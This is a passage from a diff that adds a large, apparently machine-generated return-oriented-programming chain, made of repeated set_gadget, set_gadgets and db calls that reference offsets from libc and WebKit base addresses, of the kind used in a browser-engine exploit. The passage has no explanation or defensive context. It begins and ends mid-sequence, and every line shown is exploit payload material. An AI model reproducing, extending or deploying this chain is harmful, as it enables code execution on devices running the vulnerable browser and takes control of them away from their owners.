+libc_base+388400, +libc_base+713278, +ropchain+428712, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+428872, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+428904, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+428856, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+428888, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+429000, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+428984, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+429088, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+429160, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967292, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+972324, +libc_base+713278, +ropchain+429224, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+489696, +ropchain+427000, +libc_base+740138, +libc_base+713278, +ropchain+429336, +webkit_base+4687784, +libc_base+713278 +]); +db([4294967278, 4294967295]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+740138, +libc_base+713278, +ropchain+429440, +webkit_base+4687784, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+429552, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+489696, +ropchain+368848, +libc_base+863109, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+429640, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+429728, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+429744, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+429888, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+429856, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+429872, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+429984, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967278, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+430072, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+430088, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+229840, +libc_base+713278, +ropchain+430248, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+430200, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+430216, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([16, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+857161, +libc_base+713278, +ropchain+430304, +webkit_base+4687784, +libc_base+388400, +libc_base+165442 +]); +db([0, 0]); +set_gadgets([ +libc_base+288783, +libc_base+713278, +ropchain+430416, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+430448, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+430432, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+430608, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+430560, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+430576, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([48, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+857161, +libc_base+857183, +libc_base+713278, +ropchain+430712, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+430696, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+603920, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+430864, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+489696, +ropchain+161664, +libc_base+863109, +libc_base+713278 +]); +db([4294967272, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278, +ropchain+430952, +webkit_base+4687784, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([2, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([28, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+431152, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+489696, +ropchain+601152, +libc_base+863109, +libc_base+713278 +]); +db([4294967272, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+431240, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967272, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+972324, +libc_base+388400, +libc_base+713278, +ropchain+431320, +webkit_base+4687784, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([2, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([28, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+431520, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+489696, +ropchain+601152, +libc_base+863109, +libc_base+713278 +]); +db([4294967272, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+431608, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967268, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+972324, +libc_base+740138, +libc_base+713278 +]); +db([4294964192, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+431728, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+972324, +libc_base+740138, +libc_base+713278 +]); +db([4294964188, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+431840, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+972324, +libc_base+740138, +libc_base+713278 +]); +db([4294964184, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+431952, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+972324, +libc_base+713278, +ropchain+432008, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+713278, +ropchain+432072, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294964184, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+432160, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+432176, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+432336, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+432368, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+432320, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+432352, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+432448, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+432464, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+432560, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+432544, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+388400, +libc_base+713278, +ropchain+432656, +webkit_base+4687784, +libc_base+768796 +]); +db([512, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([512, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+432800, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+432816, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+432784, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +webkit_base+15055763, +webkit_base+47019, +libc_base+232261, +libc_base+713278, +ropchain+432992, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+433008, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+432976, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+433136, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+433168, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+433152, +webkit_base+4687784, +libc_base+713278 +]); +db([0, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+11809960, +libc_base+232261, +webkit_base+426067, +libc_base+713278, +ropchain+433280, +libc_base+507828, +libc_base+145226, +libc_base+713278, +ropchain+433272, +webkit_base+4687784, +webkit_base+1816389, +libc_base+489696 +]); +db([0, 0]); +set_gadgets([ +ropchain+433296, +ropchain+433312, +libc_base+489696, +ropchain+433328, +libc_base+489696, +ropchain+436656, +libc_base+713278, +ropchain+433384, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294964192, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+433472, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+433488, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+433648, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+433680, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+433632, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+433664, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+433776, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+433760, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([2, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([28, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+434024, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+489696, +ropchain+601152, +libc_base+863109, +libc_base+713278 +]); +db([4294967272, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+434168, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+434184, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+434152, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+434280, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+434264, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+740138, +libc_base+713278, +ropchain+434376, +webkit_base+4687784, +libc_base+713278 +]); +db([4294965220, 4294967295]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+434456, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+434512, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+434608, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294964184, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+434696, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+434712, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+434872, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+434904, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+434856, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+434888, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+435064, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+435016, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+435032, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([4, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+1537212, +libc_base+713278, +ropchain+435144, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+435160, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+435248, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+435304, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+435376, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+435432, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +webkit_base+972324, +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+435544, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+435560, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+435720, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+435736, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+435704, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+435856, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+435840, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294964192, 4294967295]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+972324, +libc_base+713278, +ropchain+435920, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+713278, +ropchain+435984, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294964184, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+436072, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+436088, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+436248, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+436280, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+436232, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+436264, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+436376, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+436360, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+436464, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+436536, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294964184, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+972324, +libc_base+713278, +ropchain+436600, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+489696, +ropchain+432016, +libc_base+740138, +libc_base+713278 +]); +db([4294964180, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+436752, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+972324, +libc_base+713278, +ropchain+436808, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+713278, +ropchain+436872, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294964180, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+436960, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+436976, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+437136, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+437168, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+437120, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+437152, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+437248, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+437264, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+437360, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+437344, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+388400, +libc_base+713278, +ropchain+437456, +webkit_base+4687784, +libc_base+768796 +]); +db([256, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([256, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+437600, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+437616, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+437584, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +webkit_base+15055763, +webkit_base+47019, +libc_base+232261, +libc_base+713278, +ropchain+437792, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+437808, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+437776, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+437936, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+437968, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+437952, +webkit_base+4687784, +libc_base+713278 +]); +db([0, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+11809960, +libc_base+232261, +webkit_base+426067, +libc_base+713278, +ropchain+438080, +libc_base+507828, +libc_base+145226, +libc_base+713278, +ropchain+438072, +webkit_base+4687784, +webkit_base+1816389, +libc_base+489696 +]); +db([0, 0]); +set_gadgets([ +ropchain+438096, +ropchain+438112, +libc_base+489696, +ropchain+438128, +libc_base+489696, +ropchain+441288, +libc_base+713278, +ropchain+438184, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294964188, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+438272, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+438288, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+438448, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+438480, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+438432, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+438464, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+438576, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+438560, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+438680, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+489696, +ropchain+602480, +libc_base+863109, +libc_base+713278, +ropchain+438800, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+438816, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+438784, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+438912, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+438896, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+740138, +libc_base+713278, +ropchain+439008, +webkit_base+4687784, +libc_base+713278 +]); +db([4294964196, 4294967295]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+439088, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+439144, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+439240, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294964180, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 